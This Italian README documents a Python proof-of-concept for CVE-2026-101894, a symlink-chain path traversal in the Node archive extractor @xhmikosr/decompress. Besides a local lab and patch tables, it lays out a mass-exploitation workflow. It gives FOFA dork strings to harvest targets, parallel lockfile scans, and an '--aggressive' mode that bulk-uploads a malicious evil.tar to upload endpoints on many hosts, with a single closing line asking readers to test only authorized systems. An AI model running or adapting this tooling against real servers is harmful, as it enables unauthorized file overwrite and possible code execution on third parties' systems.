
PoC Python per CVE-2026-101894: path traversal tramite catena di symlink in @xhmikosr/decompress. Include un laboratorio Node locale, la scansione della versione del lockfile e l'exploit di caricamento massivo di evil.tar.
PoC in Python 3 per CVE-2026-101894 — l'estrazione di archivi in Node.js tramite @xhmikosr/decompress (e il pacchetto non più mantenuto decompress) consente lettura/scrittura al di fuori della directory di output tramite una catena di voci symlink. Bypass dell'hardening di CVE-2026-53486. CVSS 3.1 9.1 Critical.
| PoCbit | https://pocbit.org/pocs/cve-2026-101894 |
| Catalog | https://pocbit.org/pocs/ |
| Package | @xhmikosr/decompress (maintained), decompress (kevva, unpatched) |
| API | Default decompress(input, output) |
| CWE | CWE-22 path traversal, CWE-59 link following |
| Fixed | 10.2.2 (10.x), 11.1.4 (11.x) |
| GHSA | GHSA-hrh2-vp3x-79xf |
decompress, durante l'estrazione di archivi tar/zip ecc. nella cartella di destinazione, applica controlli di path di tipo lexical; tuttavia con voci symlink consecutive il kernel può risolvere le voci successive al di fuori della directory di output. Con un archivio controllato dall'attaccante è possibile sovrascrivere / leggere config, startup script o file sensibili → scenario di RCE (CI, container, servizi di upload+extract).
Patch per @xhmikosr/decompress: 10.2.2 e 11.1.4. Il vecchio pacchetto decompress fino alla versione 4.2.1 appartiene alla stessa classe e non riceve patch — passare a @xhmikosr/[email protected]+.
| Modalità | Scopo |
|---|---|
--lab | Installa 11.1.3 in lab/, verifica la scrittura all'esterno tramite la catena di symlink in evil.tar |
--write-evil-tar | Scrive su disco l'archivio payload (marker POCBIT-101894-ESCAPED) |
check | Sul target remoto package.json / lockfile → la versione è ≤ a rischio? |
exploit | POST verso i comuni percorsi di upload con evil.tar a catena di symlink (mass bulk) |
| mass | --list + -j; hits.txt / exploited.txt |
L'exploit remoto non dimostra che il server estragga effettivamente l'archivio con decompress; l'accettazione dell'upload con 2xx + il fingerprint di versione vulnerabile vengono considerati exploited. Per una prova certa usare --lab.
hits.txt vs exploited.txt (caso frequente)| Fase | Cosa dimostra |
|---|---|
| check → hits.txt | /package.json o /package-lock.json esposti e contenenti decompress vulnerabile |
| exploit → exploited.txt | Almeno uno degli URL di upload generici provati dalla PoC ha restituito HTTP 2xx |
Nella lista FOFA Express 500 scan → 2 hit è normale. Anche 2 hit + 0 exploit (vulnerable_dep_no_upload_endpoint) è normale: leak di dipendenza ≠ upload di archivio pubblico. Per l'exploit di questa CVE l'applicazione deve aprire l'archivio non attendibile con decompress(); su HID / siti casuali su :8088 gli 8–11 path predefiniti della PoC spesso non esistono.
# Zincir kanıtı (lokal)
python poc.py --lab
# Hit’ler: sadece bağımlılık + upload denemesi
python poc.py --list hits.txt --mode exploit -j 2
# Beklenen: upload_ok=0, status vulnerable_dep_no_upload_endpoint
| Package | Vulnerable | Patched |
|---|---|---|
@xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
@xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
decompress (kevva) | ≤ 4.2.1 | none — migrate |
cd CVE-2026-101894
pip install -r requirements.txt
Lab: Node.js + npm nel PATH (consigliato Linux/macOS per il comportamento di estrazione dei symlink).
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| Flag | Significato |
|---|---|
--lab | PoC di estrazione Node locale |
--aggressive | Esegue l'exploit anche senza lockfile vulnerabile esposto |
--upload-paths | Percorsi POST personalizzati separati da virgola |
--exploited-list | Target in cui l'upload ha restituito 2xx |
Catena di symlink (semplificata):
a/b/c/up → ../..a/b/escape → c/up/../..esc → ..…/pocbit_escape.txt con payload markerCorrisponde alla classe di bypass tramite catena di symlink descritta nelle note di rilascio di 11.1.4 (fix realpath / containment).
FOFA JSON → python _format_fofa.py fofa_results_1000.json
→ fofa_results_1000.json (url), fofa_results_1000.csv, fofa_targets_1000.txt
python poc.py --list fofa_targets_1000.txt --mode check -j 40 → hits.txt
python poc.py --list fofa_results_1000.csv --mode check -j 40 # url column
python poc.py --list hits.txt --mode exploit -j 8 --aggressive → exploited.txt
La lista di dork FOFA per upload/zip (fofa_results_1000) è più adatta come superficie di exploit rispetto a una lista di 500 soli Express; comunque hit = lockfile + decompress vulnerabile, exploit = upload 2xx.
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
(Il lockfile è raramente pubblico in produzione; il check trova spesso staging, artefatti CI, hosting statico mal configurato.)
Testare solo sistemi che si è autorizzati a valutare. Non caricare archivi malevoli su servizi di produzione di terze parti.
CVE-2026-101894 PoC: @xhmikosr/decompress symlink-chain archive path traversal (bypass CVE-2026-53486). Node lab + lockfile scan + mass evil.tar upload exploit. CVSS 9.1. https://pocbit.org/pocs/cve-2026-101894